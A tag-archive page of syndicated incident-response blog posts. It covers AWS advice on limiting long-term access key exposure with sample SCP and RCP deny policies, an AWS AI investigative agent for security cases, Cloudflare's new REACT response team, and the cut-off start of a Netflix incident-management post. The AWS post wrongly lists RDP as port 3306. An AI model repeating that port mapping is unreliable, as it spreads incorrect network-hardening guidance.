Tag Archives: incident response

Practical steps to minimize key exposure using AWS Security Services

Post Syndicated from Jennifer Paz original https://aws.amazon.com/blogs/security/practical-steps-to-minimize-key-exposure-using-aws-security-services/

Exposed long-term credentials continue to be the top entry point used by threat actors in security incidents observed by the AWS Customer Incident Response Team (CIRT). The exposure and subsequent use of long-term credentials or access keys by threat actors poses security risks in cloud environments. Additionally, poor key rotation practices, sharing of access keys among multiple users, or failing to revoke unused credentials can leave systems exposed.

Using long-term credentials is strongly discouraged and presents an opportunity to migrate towards AWS Identity and Access Management (IAM) roles and federated access. While our recommended best practice is for customers to migrate away from long-term credentials, we recognize that this transition might not be immediately feasible for all organizations.

Building a comprehensive defense against unintended access to long-term credentials requires a strategic layered approach. This approach is intended to bridge the gap between ideal security practices and real-world operational constraints, providing actionable steps for teams managing legacy AWS workloads that require the use of long-term credentials.

In this post, you learn how to build your defense, starting with identifying existing risks and potential exposures through services such as Amazon CodeGuru Security and AWS IAM Access Analyzer, providing visibility into credential risks across the environment. This is then complemented by establishing strict boundaries through service control policies (SCPs) and data perimeters to control how and where credentials can be created and used. With these mechanisms in place, you can strengthen your position with network-level controls that help protect the infrastructure where access keys might be used, implementing services such as AWS WAF and Amazon Inspector to help protect against exploitation of vulnerabilities. Finally, you implement operational best practices such as automated secret rotation to maintain ongoing security hygiene and minimize the impact of potential compromise.

Detect current access keys and exposure

Audit current access keys

For comprehensive auditing, organizations should regularly generate credential reports to identify IAM user ownership of long-lived credentials and other relevant information such as the last time the key was rotated, last time it was used, last service used and last region used. These reports provide essential visibility into your credential landscape, enabling you to spot unused or potentially compromised credentials by focusing on access keys with stale activity, keys exceeding rotation policies, and unexpected usage patterns from unfamiliar regions.

Detect exposed access keys

A common source of credential compromise occurs through inadvertent commits to public repositories. When developers accidentally commit credentials to public repositories, these credentials can be harvested by automated scanning tools used by adversaries. Code scanning is a foundational step that helps catch these critical security issues early, before sensitive credentials can be accidentally committed to code repositories or deployed to production environments where they could be exploited.

You can use the secrets detection capability of CodeGuru Security to proactively identify exposed sensitive data in your codebase.

The tool integrates with AWS Secrets Manager, employing detection mechanisms to locate unencrypted secrets in your code, such as AWS secret access keys, embedded passwords, and database connection strings.

When CodeGuru Security discovers unprotected secrets during a scan, it creates a finding with recommended remediation to address the vulnerability.

AWS Trusted Advisor also contains an exposed access key check that checks popular code repositories for access keys that have been exposed to the public and for irregular Amazon Elastic Compute Cloud (Amazon EC2) usage that could be the result of a compromised access key.

Note that while these are valuable security tools, they cannot detect secrets or access keys stored in locations outside their scanning scope, such as local development machines or external systems. They should be used as part of a broader security strategy, not as the sole method for identifying and preventing credential exposure.

When addressing potentially compromised access keys, it is advised to immediately rotate the keys. See instructions on how to rotate access keys for IAM Users.

Detect unused access

Beyond identifying exposed credentials, detecting unused access keys helps minimize the attack surface. IAM Access Analyzer contains an unused access analyzer that looks for access permissions that are either overly generous or that have fallen into disuse, including unused IAM roles, access keys for IAM users, passwords for IAM users, and services and actions for active IAM roles and users. After reviewing the findings generated by an organization-wide or account-specific analyzer, you can remove or modify permissions that aren’t needed. By identifying and revoking unused credentials and access, you can limit the impact if credentials have been obtained by a threat actor.

By implementing these tools, you can gain insights into credential risks across your environment. The combined capabilities help surface embedded secrets, exposed access keys, and credentials requiring removal.

Preventive guardrails: Establish a data perimeter

Now that you’ve learned how to identify exposed or unused credentials, let’s explore how you can use SCPs and resource control policies (RCPs) to create a data perimeter and help make sure that only your trusted identities are accessing trusted resources from expected networks. Implementing preventive guardrails around your AWS environment is crucial for helping protect against unauthorized access and potential access key compromises. For more information on what a data perimeter is and how to establish one, see the Establishing a Data Perimeter on AWS blog post series.

The following SCP denies an IAM user’s credentials from being used outside of unexpected networks (corporate Classless Inter-Domain Routing (CIDR) or specific virtual private cloud (VPC)). This policy includes several actions in the NotAction element that would impact services access if not exempted. Examples of SCPs and RCPs can be found in the data-perimeter-policy-examples, which is the source of truth for newly revised policies. The following example has been updated to address the use case of user credentials being used outside of unexpected networks.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "EnforceNetworkPerimeterOnIAMUsers",
            "Effect": "Deny",
            "NotAction": [
                "es:ES*",
                "dax:GetItem",
                "dax:BatchGetItem",
                "dax:Query",
                "dax:Scan",
                "dax:PutItem",
                "dax:UpdateItem",
                "dax:DeleteItem",
                "dax:BatchWriteItem",
                "dax:ConditionCheckItem",
                "neptune-db:*",
                "kafka-cluster:*",
                "elasticfilesystem:client*",
                "rds-db:connect"
            ],
            "Resource": "*",
            "Condition": {
                "BoolIfExists": {
                    "aws:ViaAWSService": "false"
                },
                "NotIpAddressIfExists": {
                    "aws:SourceIp": [
                        "<my-corporate-cidr>"
                    ]
                },
                "StringNotEqualsIfExists": {
                    "aws:SourceVpc": [
                        "<my-vpc>"
                    ]
                },
                "ArnLike": {
                    "aws:PrincipalArn": [
                        "arn:aws:iam::*:user/*"
                    ]
                }
            }
        }
    ]

By implementing this network perimeter, you can reduce the risk of credential compromise leading to unauthorized access and data exposure. Threat actors attempting to use stolen credentials from a coffee shop or home network will be blocked, helping to limit the impact of unintended access to credentials.

To further increase your defense in depth, you can use RCPs to help protect your data, such as by using them to control which identities can access your resources. For example, you might want to allow identities in your organization to access resources in your organization. You might also want to prevent identities external to your organization from accessing your resources. You can enforce this control using RCPs. You can use RCPs to restrict the maximum available access to your resources and include which principals, both inside and outside your organization, can access your resources. SCPs can only impact the effective permissions for principals within your AWS organization.

By implementing the following RCP, you can help make sure that if long-lived credentials are accidentally exposed, unauthorized users from outside your organization will be blocked from using them to access your critical data and resources. The policy will deny Amazon Simple Storage Service (Amazon S3) actions unless requested from your corporate CIDR range (NotIpAddressIfExists with aws:SourceIp), or from your VPC (StringNotEqualsIfExists with aws:SourceVpc). See the list of AWS services that support RCPs. Examples of SCPs and RCPs can be found in this GitHub repository, which is the source of truth for newly revised policies. The following example has been updated to address the use case discussed in this post.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "EnforceNetworkPerimeter",
      "Effect": "Deny",
      "Principal": "*",
      "Action": [
		"s3:*",
		"sqs:*",
		"kms:*",
		"secretsmanager:*",
		"sts:AssumeRole",
		"sts:DecodeAuthorizationMessage",
		"sts:GetAccessKeyInfo",
		"sts:GetFederationToken",
		"sts:GetServiceBearerToken",
		"sts:GetSessionToken",
 		"sts:SetContext",
 		"aoss:*",
 		"ecr:*"
		],
      "Resource": "*",
      "Condition": {
        "NotIpAddressIfExists": {
          "aws:SourceIp": "<0.0.0.0/1>"
        },
        "StringNotEqualsIfExists": {
          "aws:SourceVpc": "<my-vpc>"
        },
        "BoolIfExists": {
          "aws:PrincipalIsAWSService": "false",
          "aws:ViaAWSService": "false"
        }
      }
	 }
    ]
  }

If you’re ready to begin migrating away from long-term credentials, using an SCP to deny access key creation and deny updates to existing keys helps enforce the use of more secure authentication methods like IAM roles and federated access. This policy denies principals from creating or updating an AWS access key.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Deny",
            "Action": [
                "iam:CreateAccessKey",
			 	"iam:UpdateAccessKey"
            ],
            "Resource": "*"
        }
    ]
}

In addition to establishing these data perimeter controls, let’s examine how network controls protect the runtime environments where access keys operate.

Network controls: Protecting the runtime environment for access keys

Beyond building a data perimeter and using SCPs and RCPs, protecting the compute and network infrastructure that uses these access keys is essential. The risk of credential exposure through compromised runtime environments makes infrastructure protection a critical component of access key security, because bad actors often target these environments to gain unauthorized access.

Security groups and network ACLs (NACLs)

Use network-level security protections that act as firewalls for varying levels, such as the instance level or the subnet level to help protect against unauthorized access.

  • Restricting critical ports, such as SSH (port 22) and RDP (port 3306), is essential because they’re prime targets for bad actors seeking unauthorized system access. Open administrative ports in your security groups can increase your attack surface and security risk. Using AWS Systems Manager Session Manager helps provide secure remote access without exposing inbound ports, alleviating the need for bastion hosts or SSH key management.
  • NACLs effectively block access at the subnet level by acting as stateless packet filters at subnet boundaries. Unlike security groups that protect individual instances, NACLs help secure entire subnets with explicit allow/deny rules for both inbound and outbound traffic. They create a critical perimeter defense layer that filters traffic before reaching your instances. When deployed as part of a defense-in-depth approach, NACLs provide subnet-level isolation between application tiers, block malicious traffic patterns at the network edge, and maintain protection even if other security layers are compromised, helping to facilitate comprehensive network security through multiple independent control points.
  • For enhanced network protection beyond NACLs, AWS Network Firewall enables enterprise-grade perimeter defense through comprehensive VPC protection. It combines intrusion prevention systems, domain filtering, deep packet inspection, and geographic IP controls, while automatically safeguarding your cloud environment against emerging threats using global threat intelligence gathered by Amazon. By using Network Firewall and AWS Transit Gateway integration, you can implement consistent security policies across your VPCs and Availability Zones with centralized management.
  • To automate and scale network security across your organization, AWS Firewall Manager provides centralized administration of both Network Firewall rules and security group policies. As your organization grows, Firewall Manager helps maintain security by automating the deployment of common security group policies, cleaning up unused groups, and remediating overly permissive rules across multiple accounts and organizational units.

Amazon Inspector

To help identify unintended network exposure at scale, consider using Amazon Inspector. Amazon Inspector continually scans AWS workloads for software vulnerabilities and unintended network exposure, helping you identify and remediate security vulnerabilities before they can be exploited.

Key capabilities include:

  • Package vulnerability: Package vulnerability findings identify software packages in your AWS environment that are exposed to Common Vulnerabilities and Exposures (CVEs). Bad actors can exploit these unpatched vulnerabilities to compromise the confidentiality, integrity, or availability of data, or to access other systems.
  • Code vulnerability: Code vulnerability findings identify lines in your AWS Lambda code that bad actors could exploit. Code vulnerabilities include injection flaws, data leaks, weak cryptography, or missing encryption in your code. It identifies policy violations and vulnerabilities based on internal detectors developed in collaboration with CodeGuru Security. For a list of possible detections, see the Amazon Q Detector Library.
  • Network reachability: Network reachability findings show whether your ports are reachable from the internet through an internet gateway (including instances behind Application Load Balancers or Classic Load Balancers), a VPC peering connection, or a VPN through a virtual gateway. These findings highlight network configurations that may be overly permissive, such as mismanaged security groups, NACLs or internet gateways, or that might allow for potentially malicious access. It can help identify open SSH ports on your instance security groups.

AWS WAF

Complementing your network security controls and vulnerability management, AWS WAF provides an additional layer of defense by filtering malicious web traffic that could lead to credential exposure.

AWS WAF offers several managed rule groups to protect against unauthorized access and common vulnerabilities:

  • AWS WAF Fraud Control account creation fraud prevention (ACFP) rule group: ACFP uses request tokens to gather information about the client browser and about the level of human interactivity in the creation of the account creation request. The rule group detects and manages bulk account creation attempts by aggregating requests by IP address and client session and aggregating by the provided account information such as the physical address and phone number. Additionally, the rule group detects and blocks the creation of new accounts using credentials that have been compromised, which helps protect the security posture of your application and of your new users.
  • AWS WAF Fraud Control account takeover prevention (ATP) rule group: To help prevent account takeovers that might lead to fraudulent activity, ATP gives you visibility and control over anomalous sign-in attempts and sign-in attempts that use stolen credentials. For Amazon CloudFront distributions, in addition to inspecting incoming sign-in requests, the ATP rule group inspects your application’s responses to sign-in attempts to track success and failure rates. ATP checks email and password combinations against its stolen credential database, which is updated regularly as new leaked credentials are found on the dark web.

Operational best practices

To complement these protective layers and maintain ongoing security posture, implement automated credential management through Secrets Manager to help facilitate proper rotation and lifecycle management of access keys throughout your environment. This automation reduces human error, helps facilitate timely credential updates and limits the exposure window if credentials are compromised.

It’s recommended to rotate keys at least every 90 days. Secrets Manager helps by automating the process of rotating secrets on a schedule, helping to make sure that credentials are regularly updated without manual intervention. It also centralizes the storage of secrets, reducing the likelihood of sharing access keys among multiple users. With Secrets Manager, you can configure automatic key rotation using a Lambda integration.

There is also an existing solution that can be deployed to implement automatic access key rotation at scale. This pattern helps you automatically rotate IAM access keys by using AWS CloudFormation templates, which are provided in the GitHub IAM key rotation repository.

If you’re unable to implement automatic rotation and need a quicker way to identify access keys that need to be rotated, AWS Trusted Advisor has a security check for IAM access key rotation that checks for active IAM access keys that haven’t been rotated in the last 90 days. You can use the security check to drill down on which access keys in your environment need to be rotated if you need to perform manual rotation.

Detect anomalous IAM activity

Finally, while proactive measures to secure your IAM infrastructure are crucial, it’s equally important to have robust detection and alerting mechanisms in place. No matter how diligent your efforts, there is still a possibility of unforeseen threats or unauthorized activities. That’s why a comprehensive defense-in-depth strategy should include the ability to quickly identify and respond to anomalous IAM-related events. Amazon GuardDuty combines machine learning and integrated threat intelligence to help protect AWS accounts, workloads, and data from threats.

GuardDuty Extended Threat Detection automatically correlates multiple events across different data sources to identify potential threats within AWS environments. When Extended Threat Detection detects suspicious sequences of activities, it generates comprehensive attack sequence findings. The system analyzes individual API activities as weak signals, which might not indicate risks independently, but when observed together in specific patterns can reveal potential security issues.

This capability is enabled by default when GuardDuty is activated in an AWS account, helping provide protection without additional configuration.

The specific attack sequence finding related to compromised credentials is AttackSequence:IAM/CompromisedCredentials which is marked as Critical severity. This finding informs you that GuardDuty detected a sequence of suspicious actions made by using AWS credentials that impacts one or more resources in your environment. Multiple suspicious and anomalous threat behaviors were observed by the same credentials, resulting in higher confidence that the credentials are being misused.

Conclusion

The security best practices outlined in this post provide a comprehensive, multi-layered approach to mitigate the risks associated with long-term credentials. By implementing proactive code scanning, automated key rotation, network-level controls, data perimeter restrictions, and threat detection, you can significantly reduce the attack surface and better protect your organization’s AWS resources until a full migration to temporary credentials is feasible.

While the recommendations provided in this post represent an ample set of controls to put organizations in a good security posture, there might be additional security measures that can be taken depending on the specific needs and risk profile of each environment. The key is to adopt a holistic, layered approach to credential management and protection. By doing so, you can bridge the gap until a complete transition to temporary credentials becomes possible.

Implementing these security measures can help reduce risks, but long-term credentials inherently carry security risks. Even with strict best practices and comprehensive security controls, the possibility of credential compromise cannot be removed completely. You should consider evaluating your organization’s security posture and prioritizing temporary credentials through IAM roles and federation whenever possible. If you have questions or need help, AWS is here to support you.

Jennifer Paz
Jennifer Paz

Jennifer is a Security Engineer with over a decade of experience, currently serving on the AWS Customer Incident Response Team (CIRT). Jennifer enjoys helping customers tackle security challenges and implementing complex solutions to help enhance their security posture. When not at work, Jennifer is an avid runner, pickleball enthusiast, traveler, and foodie, always on the hunt for new culinary adventures.
Samantha Tavares
Samantha Tavares

Samantha is an Incident Responder on the AWS Customer Incident Response Team. She’s passionate about helping customers protect their cloud environments. When she’s not diving into security challenges, she’s sweating at CrossFit, or planning her next travel adventure.

Accelerate investigations with AWS Security Incident Response AI-powered capabilities

Post Syndicated from Daniel Begimher original https://aws.amazon.com/blogs/security/accelerate-investigations-with-aws-security-incident-response-ai-powered-capabilities/

If you’ve ever spent hours manually digging through AWS CloudTrail logs, checking AWS Identity and Access Management (IAM) permissions, and piecing together the timeline of a security event, you understand the time investment required for incident investigation. Today, we’re excited to announce the addition of AI-powered investigation capabilities to AWS Security Incident Response that automate this evidence gathering and analysis work.

AWS Security Incident Response helps you prepare for, respond to, and recover from security events faster and more effectively. The service combines automated security finding monitoring and triage, containment, and now AI-powered investigation capabilities with 24/7 direct access to the AWS Customer Incident Response Team (CIRT).

While investigating a suspicious API call or unusual network activity, scoping and validation require querying multiple data sources, correlating timestamps, identifying related events, and building a complete picture of what happened. Security operations center (SOC) analysts devote a significant amount of time to each investigation, with roughly half of that effort spent manually gathering and piecing together evidence from various tools and complex logs. This manual effort can delay your analysis and response.

AWS is introducing an investigative agent to Security Incident Response, changing this paradigm and adding layers of efficiency. The investigative agent helps you reduce the time required to validate and respond to potential security events. When a case for a security concern is created, either by you or proactively by Security Incident Response, the investigative agent asks clarifying questions to make sure it understands the full context of the potential security event. It then automatically gathers evidence from CloudTrail events, IAM configurations, and Amazon Elastic Compute Cloud (Amazon EC2) instance details and even analyzes cost usage patterns. Within minutes, it correlates the evidence, identifies patterns, and presents you with a clear summary.

How it works in practice

Before diving into an example, let’s paint a clear picture of where the investigative agent lives, how it’s accessed, and its purpose and function. The investigative agent is built directly into Security Incident Response and is automatically available when you create a case. Its purpose is to act as your first responder—gathering evidence, correlating data across AWS services, and building a comprehensive timeline of events so you can quickly move from detection to recovery.

For example: you discover that AWS credentials for an IAM user in your account were exposed in a public GitHub repository. You need to understand what actions were taken with those credentials and properly scope the potential security event, including lateral movement and reconnaissance operations. You need to identify persistence mechanisms that might have been created and determine the appropriate containment steps. To get started, you create a case in the Security Incident Response console and describe the situation.

Here’s where the agent’s approach differs from traditional automation: it asks clarifying questions first. When were the credentials first exposed? What’s the IAM user name? Have you already rotated the credentials? Which AWS account is affected?

This interactive step gathers the appropriate details and metadata before it starts gathering evidence. Specifically, you’re not stuck with generic results—the investigation is tailored to your specific concern.

After the agent has what it needs, it investigates. It looks up CloudTrail events to see what API calls were made using the compromised credentials, pulls IAM user and role details to check what permissions were granted, identifies new IAM users or roles that were created, checks EC2 instance information if compute resources were launched, and analyzes cost and usage patterns for unusual resource consumption. Instead of you querying each AWS service, the agent orchestrates this automatically.

Within minutes, you get a summary, as shown in the following figure. The investigation summary includes a high-level summary and critical findings, which include the credential exposure pattern, observed activity and the timeframe, affected resources, and limiting factors.

This response was generated using AWS Generative AI capabilities. You are responsible for evaluating any recommendations in your specific context and implementing appropriate oversight and safeguards. Learn more about AWS Responsible AI requirements.

Note: The preceding example is representative output. Exact formatting will vary depending on findings.

The investigation summary includes various tabs for detailed information, such as technical findings with an events timeline, as shown in the following figure:

Figure 2 – Security event timeline

Figure 2 – Security event timeline

When seconds count, this transparency is paramount to a quick, high-fidelity, and accurate response—especially if you need to escalate to the AWS CIRT, a dedicated group of AWS security experts, or explain your findings to leadership, creating a single lens for stakeholders to view the incident.

When the investigation is complete, you have a high-resolution picture of what happened and can make informed decisions about containment, eradication, and recovery. For the preceding exposed credentials scenario, you might need to:

  • Delete the compromised access keys
  • Remove the newly created IAM role
  • Terminate the unauthorized EC2 instances
  • Review and revert associated IAM policy changes
  • Check for additional access keys created for other users.

When you engage with the CIRT, they can provide additional guidance on containment strategies based on the evidence the agent gathered.

What this means for your security operations

The leaked credentials scenario shows what the agent can do for a single incident. But the bigger impact is on how you operate day-to-day:

  • You spend less time on evidence collection. The investigative agent automates the most time-consuming part of investigations—gathering and correlating evidence from multiple sources. Instead of spending an hour on manual log analysis, you can spend most of that time on making containment decisions and preventing recurrence.
  • You can investigate in plain language. The investigative agent uses natural language processing (NLP), which you can use to describe what you’re investigating in plain language, such as unusual API calls from IP address X or data access from terminated employee’s credentials, and the agent translates that into the technical queries needed. You don’t need to be an expert in AWS log formats or know the exact syntax for querying CloudTrail.
  • You get a foundation for high-fidelity and accurate investigations. The investigative agent handles the initial investigation—gathering evidence, identifying patterns, and providing a comprehensive summary. If your case requires deeper analysis or you need guidance on complex scenarios, you can engage with the AWS CIRT, who can immediately build on the work the agent has already done, speeding up their response time. They see the same evidence and timeline, so they can focus on advanced threat analysis and containment strategies rather than starting from scratch.

Getting started

If you already have Security Incident Response enabled, the AI-powered investigation capabilities are available now—no additional configuration needed. Create your next security case and the agent will start working automatically.

If you’re new to Security Incident Response, here’s how to set it up:

  1. Enable Security Incident Response through your AWS Organizations management account. This takes a few minutes through the AWS Management Console and provides coverage across your accounts.
  2. Create a case. Describe what you’re investigating; you can do this through the Security Incident Response console or an API, or set up automatic case creation from Amazon GuardDuty or AWS Security Hub alerts.
  3. Review the analysis. The agent presents its findings through the Security Incident Response console, or you can access them through your existing ticketing systems such as Jira or ServiceNow.

The investigative agent uses the AWS Support service-linked role to gather information from your AWS resources. This role is automatically created when you set up your AWS account and provides the necessary access for Support tools to query CloudTrail events, IAM configurations, EC2 details, and cost data. Actions taken by the agent are logged in CloudTrail for full auditability.

The investigative agent is included at no additional cost with Security Incident Response, which now offers metered pricing with a free tier covering your first 10,000 findings ingested per month. Beyond that, findings are billed at rates that decrease with volume. With this consumption-based approach, you can scale your security incident response capabilities as your needs grow.

How it fits with existing tools

Security Incident Response cases can be created by customers or proactively by the service. The investigative agent is automatically triggered when a new case is created, and cases can be managed through the console, API, or Amazon EventBridge integrations.

You can use EventBridge to build automated workflows that route security events from GuardDuty, Security Hub, and Security Incident Response itself to create cases and initiate response plans, enabling end-to-end detection-to-investigation pipelines. Before the investigative agent begins its work, the service’s auto-triage system monitors and filters security findings from GuardDuty and third-party security tools through Security Hub. It uses customer-specific information, such as known IP addresses and IAM entities, to filter findings based on expected behavior, reducing alert volume while escalating alerts that require immediate attention. This means the investigative agent focuses on alerts that actually need investigation.

Conclusion

In this post, I showed you how the new investigative agent in AWS Security Incident Response automates evidence gathering and analysis, reducing the time required to investigate security events from hours to minutes. The agent asks clarifying questions to understand your specific concern, automatically queries multiple AWS data sources, correlates evidence, and presents you with a comprehensive timeline and summary while maintaining full transparency and auditability.

With the addition of the investigative agent, Security Incident Response customers now get the speed and efficiency of AI-powered automation, backed by the expertise and oversight of AWS security experts when needed.

The AI-powered investigation capabilities are available today in all commercial AWS Regions where Security Incident Response operates. To learn more about pricing and features, or to get started, visit the AWS Security Incident Response product page.

If you have feedback about this post, submit comments in the Comments section below.

Daniel Begimher

Daniel Begimher

Daniel is a Senior Security Engineer in Global Services Security, specializing in cloud security, application security, and incident response. He co-leads the Application Security focus area within the AWS Security and Compliance Technical Field Community, holds all AWS certifications, and authored Automated Security Helper (ASH), an open source code scanning tool.

Introducing REACT: Why We Built an Elite Incident Response Team

Post Syndicated from Chris O’Rourke original https://blog.cloudflare.com/introducing-react-why-we-built-an-elite-incident-response-team/

Cloudforce One’s mission is to help defend the Internet. In Q2’25 alone, Cloudflare stopped an average of 190 billion cyber threats every single day. But real-world customer experiences showed us that stopping attacks at the edge isn’t always enough. We saw ransomware disrupt financial operations, data breaches cripple real estate firms, and misconfigurations cause major data losses.

In each case, the real damage occurred inside networks.

These internal breaches uncovered another problem: customers had to hand off incidents to separate internal teams for investigation and remediation. Those handoffs created delays and fractured the response. The result was a gap that attackers could exploit. Critical context collected at the edge didn’t reach the teams managing cleanup, and valuable time was lost. Closing this gap has become essential, and we recognized the need to take responsibility for providing customers with a more unified defense.

Today, Cloudforce One is launching a new suite of incident response and security services to help organizations prepare for and respond to breaches.

These services are delivered by Cloudforce One REACT (Respond, Evaluate, Assess, Consult Team), a group of seasoned responders and security veterans who investigate threats, hunt adversaries, and work closely with executive leadership to guide response and decision-making.

Customers already trust Cloudforce One to provide industry-leading threat intelligence, proactively identifying and neutralizing the most sophisticated threats. REACT extends that partnership, bringing our expertise directly to customer environments to stop threats wherever they occur. In this post, we’ll introduce REACT, explain how it works, detail the top threats our team has observed, and show you how to engage our experts directly for support.

Our goal is simple: to provide an end-to-end security partnership. We want to eliminate the painful gap between defense and recovery. Now, customers can get everything from proactive preparation to decisive incident response and full recovery—all from the partner you already trust to protect your infrastructure.

It’s time to move beyond fragmented responses and into one unified, powerful defense.

How REACT works

REACT services consist of two main components: Security advisory services to prepare for incidents and incident response for emergency situations.


A breakdown of the Cloudforce One incident readiness and response service offerings.

Advisory services are designed to assess and improve an organization’s security posture and readiness. These include proactive threat hunting, backed by Cloudflare’s real-time global threat intelligence, to find existing compromises, tabletop exercises to test response plans against simulated attacks, and both incident readiness and maturity assessments to identify and address systemic weaknesses.

The Incident Response component is initiated during an active security crisis. The team specializes in handling a range of complex threats, including APT and nation-state activity, ransomware, insider threats, and business email compromise. The response is also informed by Cloudflare’s threat intelligence and, as a network-native service, allows responders to deploy mitigation measures directly at the Cloudflare edge for faster containment.

For organizations requiring guaranteed availability, incident response retainers are offered. These retainers provide priority response, the development of tailored playbooks, and ongoing advisory support.

Cloudflare’s REACT services are vendor-agnostic in their scope. We are making REACT available to both existing Cloudflare customers and non-customers, regardless of their current technology stack, and regardless of whether their environment is on-premise, public cloud, or hybrid.

What makes Cloudflare’s approach different?

Our new service provides significant advantages over traditional incident response, where engagement and data sharing occur over separate, out-of-band channels. The integration of the service into the platform enables a more efficient and effective response to threats.

The core differentiators of this approach are:

  • Unmatched threat visibility. With roughly 20% of the web sitting behind Cloudflare’s network, Cloudforce One has unique visibility into emerging attacks as they unfold globally. This lets REACT accelerate their investigations and quickly correlate incident details with emerging attack vectors and known adversary tactics.

  • Network-native mitigation. The service is designed for network-native response. This allows the team, with customer authorization, to deploy mitigations directly at the Cloudflare edge, such as a WAF rule or Secure Web Gateway policy. This capability reduces the time between threat identification and containment. All response actions are tracked within the dashboard for full visibility.

  • Service delivery by proven experts. Cloudforce One is composed of seasoned threat researchers, consultants, and incident responders. The team has a documented history of managing complex security incidents, including nation-state activity and sophisticated financial fraud.

  • Vendor-agnostic scope. While managed through the Cloudflare dashboard, the scope of the response is vendor-agnostic. The team is equipped to conduct investigations and coordinate remediation across diverse customer environments, including on-premise, public cloud, and hybrid infrastructures.

Key Threats Seen During Engagements So Far

Analysis of security engagements by the REACT team over the last six months reveals three prevalent and high-impact trends. The data indicates that automated defenses, while critical, must be supplemented by specialized incident response capabilities to effectively counter these specific threats.

High-impact insider threats 

The REACT team has seen a significant number of incidents driven by insiders who use trusted access to bypass typical security controls. These threats are difficult to detect as they often combine technical actions with non-technical motivations. Recent scenarios observed are:

  • Disgruntled or current employees using their specialized, trusted access to execute targeted, destructive attacks.

  • Financially motivated insiders who are compensated by external actors to exfiltrate data or compromise internal systems.

  • State sponsored operatives gain trusted, privileged access via fraudulent remote work roles to exfiltrate data, conduct espionage, and steal funds for illicit regime financing.

Ransomware

The REACT team has observed that ransomware continues to be a primary driver of high-severity incidents, posing an existential threat to nearly every sector. Common themes observed include:

  • Disruption of core operations in the financial sector via hostage-taking of critical systems. 

  • Paralysis of business functions and compromise of client data in the real estate industry, leading to significant downtime and regulatory scrutiny.

  • Broad impact across all industry verticals. 

Stopping these attacks demands not only robust defenses but also a well-rehearsed recovery plan that cuts time-to-restoration to hours, not weeks.

Application security and supply chain breaches

The REACT team has also seen a significant increase in incidents originating at the application layer. These threats typically manifest in two primary areas: vulnerabilities within an organization’s own custom-developed  (‘vibe coded’) applications, and security failures originating from their third-party supply chain:

  • Vibe coding: The practice of providing natural language prompts to AI models to generate code can produce critical vulnerabilities which can be exploited by threat actors using techniques like remote code execution (RCE), memory corruption, and SQL injection.

  • SaaS supply chain risk: A compromise at a critical third-party vendor that exposes sensitive data, such as when attackers used a stolen Salesloft OAuth token to exfiltrate customer support cases from their clients’ Salesforce instances.

Integrated directly into your Cloudflare dashboard

Starting today, Cloudflare Enterprise customers will find a new “Incident Response Services” tab in the Threat intelligence navigation page in the Cloudflare dashboard. This dashboard integration ensures that critical security information and the ability to engage our incident response team are always at your fingertips, streamlining the process of getting expert help when it matters most.


Screenshot of the Cloudforce One Incident Response Services page in the Cloudflare dashboard

Retainer customers will benefit from a dedicated Under Attack page, which allows customers to contact Cloudforce One team during an active incident. In the event of an active incident, a simple “Request Help” button in our “Under Attack” page will immediately page our on-call incident responders to get you the help you need without delay.


Screenshot on the Under Attack button in the Cloudflare dashboard


Screenshot of the Emergency Incident Response page in the Cloudflare dashboard

For proactive needs, you can also easily submit requests for security advisory services through the Cloudflare dashboard: 


Confirmation of the successful service request submission

How to engage with Cloudforce One 

To learn more about REACT, existing Enterprise customers can explore the dedicated Incident Response section in the Cloudflare dashboard. For new inquiries regarding proactive partnerships and retainers, please contact Cloudflare sales.

If you are facing an active security crisis and need the REACT team on the ground, please contact us immediately.

Empowering Netflix Engineers with Incident Management

Post Syndicated from Netflix Technology Blog original https://netflixtechblog.com/empowering-netflix-engineers-with-incident-management-ebb967871de4

By: Molly Struve

Netflix’s mission to provide seamless entertainment to hundreds of millions of users globally demands exceptional reliability. At the heart of this reliability is how we handle incidents — those inevitable moments when something doesn’t go as expected.

Teams can respond quickly and more effectively when incidents are managed consistently across a company. A robust process for following up after incidents creates opportunities for learning and improving systems. This continuous improvement cycle is essential for maintaining the highly reliable systems on which our members depend.

Having a shared, consistent approach to incident management became critical as Netflix grew and expanded its business. This post delves into our journey to transform incident management from a centralized function into a widespread, accessible practice and the hard-won lessons we’ve learned along the way.

The Past: Countless Missed Opportunities

For most of Netflix’s past, incident management was the domain of our central Site Reliability Engineering team, called CORE (Critical Operations and Reliability Engineering). CORE was focused on streaming and was the sole initiator of incidents. They used Jira and a single Slack channel for incident response. This approach worked in the early days, but we knew it wouldn’t scale as Netflix grew and diversified.

With thousands of microservices supporting critical functions beyond streaming, we knew plenty of things were breaking that we were not capturing. We had an internal post-incident write-up template called “OOPS,” which teams could use to write about operational surprises. The template saw limited adoption as many engineers didn’t know about it or understand its purpose or value. With countless smaller, everyday incidents going unnoticed, we were missing key opportunities to learn and improve.

The Aspiration: A Paved Road to Incident Management

Recognizing these limits, we embarked on a journey to democratize incident management. Our goal: open more incidents and engage more teams in the process. We envisioned a “paved road” for incident management — a process so intuitive and streamlined that anyone could easily declare and manage an incident, even at 3 AM. Creating a paved road required a shift: our central SRE team would no longer be the only ones declaring incidents. Instead, we’d empower teams across engineering to own their own incidents. Making this significant shift required both technological and cultural changes.

Finding the Right Tool

Scaling technical processes within an organization as diverse and intricate as Netflix is challenging. To enable every engineering team to manage incidents effectively, we needed a comprehensive incident management tool that was far more sophisticated than Jira and a single Slack channel. We knew any solution, whether built or bought, would need to meet four key requirements:

  • Intuitive user experience — Our number one priority was making sure the tool was so intuitive that anyone could use it with little to no training.
  • Internal data integration capabilities — We needed the ability to hook in Netflix-specific data.
  • Balanced customization with consistency — We wanted teams to have flexibility while maintaining shared standards.
  • Approachable — A friendly and appealing tool that could help drive a cultural shift around incidents.

The “build vs. buy” question was a significant consideration. While Netflix boasts a world-class engineering team, building an in-house solution meeting these requirements was impractical due to our ambitious timeline, the substantial investment needed, and ongoing ownership costs. Following Netflix’s engineering principle of “build only when necessary,” we evaluated external solutions against these criteria.

This evaluation process led us to adopt Incident.io. While the platform checked all our boxes during selection, the four above requirements proved even more impactful than anticipated during Netflix’s incident management transformation.

Tackling the Transformation

Selecting the right tool was just the beginning. The real challenge was rolling it out across Netflix’s diverse engineering organization and achieving the cultural shift we envisioned. Here are four elements that helped make our goal a reality.

Intuitive Design Drove Adoption and Cultural Transformation

